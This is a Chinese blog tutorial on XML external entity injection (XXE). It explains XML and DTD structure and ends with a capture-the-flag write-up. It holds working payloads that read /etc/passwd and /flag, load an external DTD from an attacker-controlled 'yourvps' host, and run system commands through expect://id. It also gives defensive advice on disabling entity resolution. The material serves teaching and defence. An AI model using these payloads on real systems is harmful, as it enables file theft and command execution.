前言
刚开始学习网络安全的时候接触过XML外部实体注入,不过当时没有博客,今天在刷题的时候又碰到了关于XML外部实体注入的知识点,就想博客上也没有就简单的写一篇吧,为了以后再学习的时候能够用到。
XXE介绍
XXE也就是常见到的XML外部实体注入,就是对外部不安全的实体进行处理时引发的安全漏洞。XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。 那这篇文章的具体内容就是关于XML文档结构的介绍,还有实体DTD的文档类型定义。
XXE的利用手法
代码语言:javascript复制1.加载恶意外部文件
2.任意读取文件
3.执行系统命令
4.探测内网端口
5.攻击内网网站
怎么说呢只要权限到位几乎都可以做。
XML简述
XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
代码语言:javascript复制<?xml version="1.0" encoding="UTF-8"?>
<!-- ⬆XML声明⬆ -->
<!DOCTYPE 文件名 [
<!ENTITY实体名 "实体内容">
]>
<!-- ⬆文档类型定义(DTD)⬆ -->
<元素名称 category="属性">
文本或其他元素
</元素名称>
<!-- ⬆文档元素⬆ -->
DTD介绍
DTD:即文档类型定义,用来为XML文档定义语义约束。可以嵌入在XML文档中(内部声明),也可以独立的放在一个文件中(外部引用),由于其支持的数据类型有限,无法对元素或属性的内容进行详细规范,在可读性和可扩展性方面也比不上XML Schema。 实体的概念就是在XML文档种频繁的使用某一条数据,我们可以预先给这个数据起一个别名,也就是一个ENTITY,之后再在文档种调用它。 在引用DTD实体时有内部声明实体和外部引用实体的区别。
内部实体声明
代码语言:javascript复制<!DOCTYPE 文件名 [
<!ENTITY 实体名 "实体内容">
]>
定义好的ENTITY在文档中通过“&实体名;”来使用.
例如示例代码:下面定义了一个name的实体,实体的值为ly0n,定义好了之后就可以在aaa这个文件内部通过&实体名;进行调用。
代码语言:javascript复制<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE aaa[
<!ENTITY name "ly0n">
]>
<root>
<name>&name;</name>
这段代码所演示的是一个内部实体DTD的声明,但是外部实体DTD的利用方法是通过URL来远程调用一个.dtd文本文件,也或者可以利用file协议引用一个本地的文件;当然也支持其他的协议,不过不同的语言支持的协议不一样,可以参照下表。
libxml2 | php | java | .NET |
---|---|---|---|
file | file | http | file |
http | http | https | http |
ftp | ftp | ftp | https |
php | file | ftp | |
compress.zlib | jar | ||
compress.bzip2 | netdoc | ||
data | mailto | ||
glob | gopher* | ||
phar |
外部实体调用
1.利用file协议
代码语言:javascript复制<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE aaa [
<!ENTITY name SYSTEM "file:///etc/passwd" >
]>
<name>&name;</name>
如果是windows系统可以读取/c:/windows/win.ini
文件内容。
2.利用http协议
代码语言:javascript复制<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE aaa [
<!ENTITY name SYSTEM "http://yourvps/文件名" >
]>
<name>&name;</name>
3.外部实体+参数实体
示例代码
代码语言:javascript复制<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY % name SYSTEM "http://yourvps/dtd文件名">
%name;
]>
<d>&LY0N;</d>
上述代码的逻辑是通过参数实体% name调用dtd文件之后在XML里调用dtd中的test实体来读取文件内容。
DTD文件内容为
代码语言:javascript复制<!ENTITY ly0n SYSTEM "file:///etc/passwd">
XXE危害
危害1-读取任意文件
示例代码
代码语言:javascript复制<?php
$xml = <<<EOF
<?xml version='1.0'?>
<DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<x>&xxe;</x>
EOF;
$data = simplexml_load_string($xml);
echo $data;
?>
这段payload 的目的是读取etc/passwd
这个文件,看结果
成功的列出了文件的内容,大家在测试时一定要注意自己的php版本,还有libcxml版本,高版本的libxml默认不解析外部实体。
危害2-执行系统命令
示例代码
代码语言:javascript复制<?php
$xml = <<<EOF
<?xml version='1.0'?>
<DOCTYPE ANY [
<!ENTITY xxe SYSTEM "expect://id">
]>
<x>&xxe;</x>
EOF;
$data = simplexml_load_string($xml);
print_r($data);
?>
XXE的利用还有很多,例如探测内网端口,如果端口不存在就会有Connection refused
回显。没有回显就证明端口为open
状态。这里就不再一一示例了。
XXE防御
1.使用开发语言提供的禁用外部实体的方法。
例如:
代码语言:javascript复制PHP:libxml_disable_entity_loader(true);
Python:from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
2.过滤用户提交的XML数据关键字。
例如:
代码语言:javascript复制<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC
例题讲解
题目平台 题目名称:Fake XML cookbook 难度:⭐⭐ 考察知识点: XML外部实体注入、XXE 打开题目之后看到了一个登录框,web狗都是看到登陆框就想着去注入,试了几次之后发现并没有什么用,于是抓了个包看看。发现了一点蛛丝马迹。
看到了利用XML和服务器进行通信,然后发现存在回显 知道了是XML外部实体注入之后,既可以直接构造payload进行解题
代码语言:javascript复制<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ENTITY admin SYSTEM "file:///etc/passwd" >
]>
<user><username>&admin;</username><password>123</password></user>
成功回显。
接下来就是读取flag了,一般flag应该都会放在根目录下,文件名会有flag、flag.txt、flag.txt
几种。
我们构造payload然后进行读取即可。经过测试文件名flag为flag所在。
payload:
代码语言:javascript复制<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ENTITY admin SYSTEM "file:///flag" >
]>
<user><username>&admin;</username><password>123</password></user>
参考链接:https://www.sohu.com/a/159645823_99907709
努力才能不负未来,加油!!